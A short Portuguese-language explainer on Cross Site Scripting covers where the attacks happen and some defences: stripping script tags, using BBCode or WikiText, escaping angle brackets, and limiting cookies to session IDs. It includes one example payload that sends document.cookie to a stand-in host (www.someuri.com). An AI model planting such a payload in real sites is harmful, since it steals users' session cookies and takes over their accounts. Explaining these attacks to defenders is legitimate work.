Cross Site Scripting, normalmente abreviado como XSS (para não confundir com CSS (Cascaded Style Sheet), consiste em colocar javascript num site que normalmente não se teria control, por forma a conseguir informações ou acessos que normalmente não teriamos.
O problema
A maioria dos ataques XSS ocorre em site onde os utilizadores podem interagir com o site, como por exemplo, colocando comentários em blogs ou respondendo em foruns. Outra situação mais ou menos comum é em sistemas de email ou webmail, em que pode bastar o utilizador ver a titulo do email para sofrer o ataque.
A maioria destes ataques pretende obter informação restricta do utilizador, ou, na maioria dos casos, acesso à conta do utilizador.
Estes ataques consistem em pequenos bocados de Javascript, normalmente apenas uma chamada a um url, em que se envia os cookies do utilizador que está a aceder ao site.
Um exemplo simples seria:
<script>
window.location='http://www.someuri.com/coookies/?' + document.cookie
</script>
Não que este fosse um caso que passasse despercebido, uma vez que o utilizador seria redirecionado para o URL indicado, mas seria eficaz, pois todos os cookies do utilizador disponiveis para o site visitado seriam conhecidos do dono do site www.someuri.com.
Soluções
Mas, que pode ser feito para evitar este tipo de situações?
Devemos não apenas atacar este problema directamente, como também evitar uma segunda possibilidade. A forma de evitar este problema directamente é evitar que seja introduzido código HTML nos locais onde utilizadores não verificados (utilizadores externo à própria organização do site) possam introduzir dados.
Quando isso não seja pretendido ou possivel (como nos casos do email), devem retirar-se todas as tags <script>...</script> que existam.
Se for uma parte de um site pode utilizar-se uma outra forma de os utilizadores formatarem os textos, como seja utilizando WikiText, BB Code ou outra sistema do género, e dessa permite-se que os utilizadores formatem os textos, sem permitir que insiram código HTML.
Claro que isto só funciona se os caracteres < forem depois convertidos para < e os >para >.
Mas mais importante que isso é não utilizar os cookies de forma indevida, e limitar a sua validade tanto quanto possivel.
Idealmente, na minha opinião, os cookies devem conter apenas um ID de sessão, associado ao qual se guarda tantos dados quantos possiveis do utilizador, pelo menos o IP e a assinatura do browser do utilizador.
Apenas estes dados já tornam dificil reutilizar o mesmo ID de sessão.
Cookies com IDs de utilizador ou com dados pessoais são o paraíso para os hackers, que pretendam aceder a um site.
Conclusão
Não permitir a utilizar da tag script em locais que não sejam estritamente design, e utilizar cookies com ids que mudam de cada vez que o utilizador faz login são duas tarefas fundamentais para evitar tornarmo-nos alvos dos adeptos do Cross Site Scripting.